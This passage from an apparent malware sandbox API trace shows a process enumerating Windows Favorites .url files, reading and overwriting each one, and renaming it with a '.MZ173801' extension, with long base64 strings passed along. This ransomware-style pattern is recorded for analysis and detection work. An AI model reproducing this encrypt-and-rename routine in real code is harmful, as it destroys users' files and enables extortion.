dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.280] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.280] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.280] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.280] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.281] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.282] CloseHandle (hObject=0x224) returned 1 [0144.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.283] WriteFile (in: hFile=0x224, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.284] CloseHandle (hObject=0x224) returned 1 [0144.284] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.mz173801")) returned 1 [0144.285] GetCurrentThreadId () returned 0x9fc [0144.285] GetCurrentThreadId () returned 0x9fc [0144.285] GetCurrentThreadId () returned 0x9fc [0144.285] GetCurrentThreadId () returned 0x9fc [0144.285] GetCurrentThreadId () returned 0x9fc [0144.285] GetCurrentThreadId () returned 0x9fc [0144.285] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0144.285] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.285] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.286] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.290] GetCurrentThreadId () returned 0x9fc [0144.290] GetCurrentThreadId () returned 0x9fc [0144.290] GetCurrentThreadId () returned 0x9fc [0144.291] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.291] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.291] GetCurrentThreadId () returned 0x9fc [0144.291] GetCurrentThreadId () returned 0x9fc [0144.291] GetCurrentThreadId () returned 0x9fc [0144.291] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.291] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.291] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.291] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.292] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.292] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.293] CloseHandle (hObject=0x224) returned 1 [0144.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.294] WriteFile (in: hFile=0x224, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.295] CloseHandle (hObject=0x224) returned 1 [0144.295] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.mz173801")) returned 1 [0144.296] GetCurrentThreadId () returned 0x9fc [0144.296] GetCurrentThreadId () returned 0x9fc [0144.296] GetCurrentThreadId () returned 0x9fc [0144.296] GetCurrentThreadId () returned 0x9fc [0144.296] GetCurrentThreadId () returned 0x9fc [0144.296] GetCurrentThreadId () returned 0x9fc [0144.296] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0144.296] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.296] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.296] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", 